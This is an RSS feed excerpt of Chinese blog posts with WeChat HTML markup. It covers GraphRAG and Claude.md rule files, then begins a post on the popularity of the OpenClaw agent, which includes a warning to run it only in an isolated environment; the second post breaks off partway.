leaf="">GraphRAG采用了图的基础结构，将目标转化为知识图谱</span></strong><span leaf="">，节点和关系作为核心，然后GraphRAG基于图算法把每一段信息内容总结为一个独立的社区，社区有大的总结，在子社区内又存在不同的节点和关系以供搜索。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">这种基于图的逻辑结构在近几年的许多工业化产物上践行，他最大的优势就是在一个非常庞大的数据中可以快速的检索相关性，给数据降了维度。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">GraphRAG理念的普及大幅度提升了现在AI大模型的长期记忆能力</span></strong><span leaf="">，而且这种深度记忆的理念在许多AI应用上都有更深层次的应用。结构化长期记忆让AI变的更具有成长性，也正是在这个基础上，后续衍生了更多关于培养AI的方法论，不再依赖模型本身的训练和微调，而是在使用方法的角度做培养。</span></p><h1 style="box-sizing: border-box;border-width: 0px 0px 2px;border-style: solid;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(15, 76, 129);font-size: 16.8px;font-weight: bold;margin: 2em auto 1em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0px 1em;color: rgb(63, 63, 63);"><span leaf="">Claude.md？</span></h1><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">相比于大模型和应用原理上的进步，对于用户来说，方法论会有更直接的影响，比较有代表性的一个东西就是Claude.md，这个方法论被称之为“</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">声明式智能体约束</span></strong><span leaf="">”。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">很有趣的是这并不是Claude创造的概念，他最早诞生于家喻户晓的Cursor ，在AI代码编辑器Cursor 诞生之后，不可避免的衍生出了一个问题就是，</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">如何让Cursor在每次编辑代码的时候，遵守开发者的基础要求和规范呢</span></strong><span leaf="">？</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">于是Cursor采用了.cursorrules的提示词文件，放在项目的根目录，Cursor每次执行任务都会先阅读这个文件作为高层级的记忆标准。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">那又过了一段时间后Claude Code自然也沿用了这套方案，他们完成了分级的Claude.md。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">你可以按照不同位置的Claude.md实现不同的场景定制化，比如说用户级，项目级，还可以多人维护开发要求</span></strong><span leaf="">。</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;color: rgb(63, 63, 63);"></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">相比大模型本身的记忆，Claude.md这种提示词文件的主观性和强制性更强，还可以让AI自己总结并写入Claude.md。</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;color: rgb(63, 63, 63);"></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">这其实是一件非常有意思的事情：最初，顶级的 AI 科学家们（OpenAI、Anthropic）在拼命研究复杂的 JSON Schema、Function Calling 格式、复杂的 Agent 编排逻辑；但最后真正在一线写代码的程序员们发现，</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">“在根目录扔一个 README 格式的 txt 文件给 AI 看”</span></strong><span leaf=""> 才是最简单、最优雅、最符合直觉的解法。</span></p><h1 style="box-sizing: border-box;border-width: 0px 0px 2px;border-style: solid;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(15, 76, 129);font-size: 16.8px;font-weight: bold;margin: 2em auto 1em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0px 1em;color: rgb(63, 63, 63);"><span leaf="">为什么2025年AI应用井喷？</span></h1><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">其实回顾以上的几个AI的方法论，最早的诞生于23年和GPT4一起诞生，最晚的基本上也不会脱离24年底，也就是说其实AI现在的主流方法论在24年底就已经形成了。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">那为什么直到2025年年底，AI应用井喷式增长</span></strong><span leaf="">？</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">其实答案也很简单，就像移动互联网的爆发是3G/4G网络+APP生态+手机相关技术+时代发展集合一样，</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">AI应用等来了大模型的能力上升（慢思考），等来了成本的暴跌（Deepseek蒸馏带来的启发），等来了AI操作的边界拓展（MCP），等来了成熟的方法论（Skill和多Agent）</span></strong><span leaf="">，所以导致了今天的结果。</span></p></div><p style="display: none;"><mp-style-type data-value="10000"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=f1a4b54d&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkwNzMyNjU0MQ%3D%3D%26mid%3D2247484315%26idx%3D1%26sn%3Dafde40aa99762c41fd45edc3cdfdb1e2">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 07 Apr 2026 18:24:00 +0800</pubDate>
    </item>
    <item>
      <title>Re0(2) - OpenClaw到底为什么爆火？</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkwNzMyNjU0MQ==&amp;mid=2247484294&amp;idx=1&amp;sn=f30a13b9d7cbe2d646fba138db662f89</link>
      <description>如果不先聊聊OpenClaw，这东西很可能就要过气了。</description>
      <content:encoded><![CDATA[<p>原创 <span>LoRexxar</span> <span>2026-03-11 18:19</span> <span style="display: inline-block;">北京</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=9fd20d87&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FgIBYXIMwxtv5nQpQ4Rng3Odd9LvblGTDRQE6ToGQvIwRrqhYUlc8f6u7jrkDMx7538ibnODgb4D62QKSKrzMibVDwDsicVvjWzQwHYSvRNV8Bg%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>如果不先聊聊OpenClaw，这东西很可能就要过气了。</p>
  <div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(10, 10, 10);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 0px 8px 1.5em;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">上篇博客中，我分享了最近关于AI的见闻和感受。本来按照流程，我应该用几篇博客的时间介绍一下最近接触和学习到的东西。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">但最主要的是，感觉如果不先聊聊OpenClaw，这东西很可能就要过气了。</span></strong></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><font style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(51, 51, 51);"><span leaf="">Peter Steinberger作为独立开发者，由于非常喜欢Claude，在几个月之前发布了开源的自托管助手Clawdbot，短短几个月火爆全网，引发了非常大的热情狂潮，</span></font><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><font style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(51, 51, 51);"><span leaf="">很多人把OpenClaw称为Web4.0时代的开端。</span></font></strong></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">Clawdbot，后来改名Moltbot，现在又改名叫Openclaw</span></strong><span leaf="">，最近最有名的称呼应该叫做龙虾。</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100000628" data-ratio="0.4111111111111111" title="null" data-type="png" data-w="1080" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;margin: 0.1em auto 0.5em;border-radius: 4px;" src="https://wechat2rss.xlab.app/img-proxy/?k=2652bb3b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FgIBYXIMwxtuC5icY9qY6BP9aTrsHYm0gOapmCmSNQpKoAtsoOOL7b6BNdelEmN1tJQEZhGo4qHBRub21GG5ngM02TTP8WtvYU9QmZbwLEj00%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">无论你是否认可后面我的理解和感受，但我必须强烈的告诉你。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><font style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(237, 116, 12);"><span leaf="">绝对不要把OpenClaw部署在生产环境/或者自己的实际使用主机上，一定要放在一个独立的环境中运行。</span></font></strong></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">其实</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">Openclaw并不是第一个依托于LLM的主动代理助手</span></strong><span leaf="">，这个类似的概念我1年前就听过，之前Meta收购的Manus AI，Manus可能也不是最早的，而且很多人说Manus根本没有成品。但这个概念很早就有了。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">如果对Claude Code比较熟悉的朋友应该知道，</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">其实Claude Cli和OpenClaw本质上没有什么区别</span></strong><span leaf="">，换言之，从设计理念的角度，</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><font style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(237, 116, 12);"><span leaf="">OpenClaw就是没有任何安全限定的Claude Code。</span></font></strong></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100000626" data-ratio="0.17639257294429708" title="null" data-type="png" data-w="754" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;margin: 0.1em auto 0.5em;border-radius: 4px;" src="https://wechat2rss.xlab.app/img-proxy/?k=39b9d4bb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FgIBYXIMwxtvAuLqnB4sFJ9Pyxjkop871hWvhicgjhvHIGO2UgHrNSibabmmUtfh5HsW07veynkPouNnt6F3KDf3sl2nafZvn2FxJlhuDHbWwc%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">从这个角度来说，OpenClaw的技术突破似乎没什么价值，客观来说，OpenClaw是个人维护+ai编程+接受了大量pr，代码质量堪忧，我相信如果用过一段时间的OpenClaw都会知道到底有多难用！</span></p><h2 style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 16.8px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0px 0.2em;color: rgb(255, 255, 255);background: rgb(15, 76, 129);"><span leaf="">OpenClaw的爆火真的是偶然吗？</span></h2><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">OpenClaw应该是第一个，</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: 